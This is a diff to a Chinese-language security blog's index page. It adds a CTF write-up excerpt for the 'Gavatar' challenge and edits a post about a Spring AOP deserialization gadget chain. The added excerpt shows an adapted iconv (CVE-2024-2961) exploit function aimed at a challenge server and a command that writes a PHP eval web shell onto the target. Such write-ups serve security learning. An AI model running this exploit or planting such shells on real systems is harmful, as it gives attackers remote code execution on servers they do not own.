@@ -188,6 +188,58 @@ <h1 id="home-title" class="title is-1 ">GSBP's Blog</h1>
188188 </ div > </ article >
189189< div class ="summary ">
190190
191+ < article class ="post ">
192+ < div class ="single-container column is-centered ">
193+ < div class ="archive " id ="post-container ">
194+ < header class ="post-header ">
195+ < h1 class ="post-title hover-underline-animation "> < a class ="post-link " href ="/post/2025n1junior-wp/ "> [2025]N1junior-WP</ a > </ h1 >
196+
197+
198+ </ header >
199+ < div class ="post-content ">
200+ < div class ="excerpt post-summary ">
201+ < h2 id ="gavatar "> Gavatar</ h2 >
202+ < p > 一个php服务</ p >
203+ < p > 这里看upload.php有着很明显的任意文件读的漏洞，只需要post一个url参数就可以</ p >
204+ < pre tabindex ="0 "> < code > if (!empty($_FILES['avatar']['tmp_name'])) {
205+ $finfo = new finfo(FILEINFO_MIME_TYPE);
206+ if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
207+ die('Invalid file type');
208+ }
209+ move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
210+ } elseif (!empty($_POST['url'])) {
211+ $image = @file_get_contents($_POST['url']);
212+ if ($image === false) die('Invalid URL');
213+ file_put_contents($avatarPath, $image);
214+ }
215+ </ code > </ pre > < p > flag也不能直接读，需要rce调用/readflag，然后就开始想能不能和其他php文件下的漏洞一起利用</ p >
216+ < p > 也是没有其他能够接着利用的漏洞了，然后看到php版本是8.3.4，就想到那个iconv的漏洞利用</ p >
217+ < p > < a href ="https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 "> https://www.ambionics.io/blog/iconv-cve-2024-2961-p1</ a > </ p >
218+ < p > 因为不是直接返回文件内容，而是需要我们从< code > avatar.php</ code > 中获取，这里需要稍微改一下脚本中的download函数，要提前注册一个用户，然后把session和user填上即可</ p >
219+ < pre tabindex ="0 "> < code > def download(self, path: str) -> bytes:
220+ """Returns the contents of a remote file.
221+ """
222+ path = f"php://filter/convert.base64-encode/resource={path}"
223+ self.send(path)
224+ response=self.session.get("http://39.106.16.204:20871/avatar.php?user=123")
225+ print(response)
226+ data = response.text
227+ return base64.decode(data)
228+ </ code > </ pre > < p > 然后跑exp就好了</ p >
229+ < pre tabindex ="0 "> < code > python test.py http://39.106.16.204:20871/upload.php "echo '<?=@eval(\$_POST[0]);?>' > shell.php"
230+ </ code > </ pre > < p > < img src ="https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250211210919337.png " alt ="image-20250211210919337 "> </ p >
231+ </ div >
232+
233+ < div class ="post-time-container ">
234+ < span class ="post-time "> 2025-02-11 </ span >
235+ </ div >
236+ </ div >
237+
238+ </ div >
239+ </ div >
240+ </ article >
241+
242+
191243 < article class ="post ">
192244 < div class ="single-container column is-centered ">
193245 < div class ="archive " id ="post-container ">
@@ -201,7 +253,7 @@ <h1 class="post-title hover-underline-animation"><a class="post-link" href="/pos
201253 < h2 id ="前言 "> 前言</ h2 >
202254< p > 在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链，于是自己调试学习了一下</ p >
203255< h2 id ="正文 "> 正文</ h2 >
204- < p > 依赖于Spring-AOP和aspectjweaver两个包，但是springboot中的spring-boot-starter-aop自带包含这俩类，可以说是和Jackson一样通杀springboot的链子了 </ p >
256+ < p > 依赖于Spring-AOP和aspectjweaver两个包，但是springboot中的spring-boot-starter-aop自带包含这俩类</ p >
205257< h3 id ="流程 "> 流程</ h3 >
206258< p > 调用链如下</ p >
207259< pre tabindex ="0 "> < code > JdkDynamicAopProxy.invoke()->
@@ -210,7 +262,7 @@ <h3 id="流程">流程</h3>
210262org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
211263method.invoke()
212264</ code > </ pre > < p > 执行类是< code > org.springframework.aop.aspectj.AbstractAspectJAdvice</ code > 的< strong > invokeAdviceMethodWithGivenArgs</ strong > 方法</ p >
213- < p >  </ p >
265+ < p > < img src =" https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage -20250123020448769.png" alt =" image-20250123020448769 " > </ p >
214266< pre tabindex ="0 "> < code > protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
215267 Object[] actualArgs = args;
216268 if (this.aspectJAdviceMethod.getParameterCount() == 0) {
0 commit comments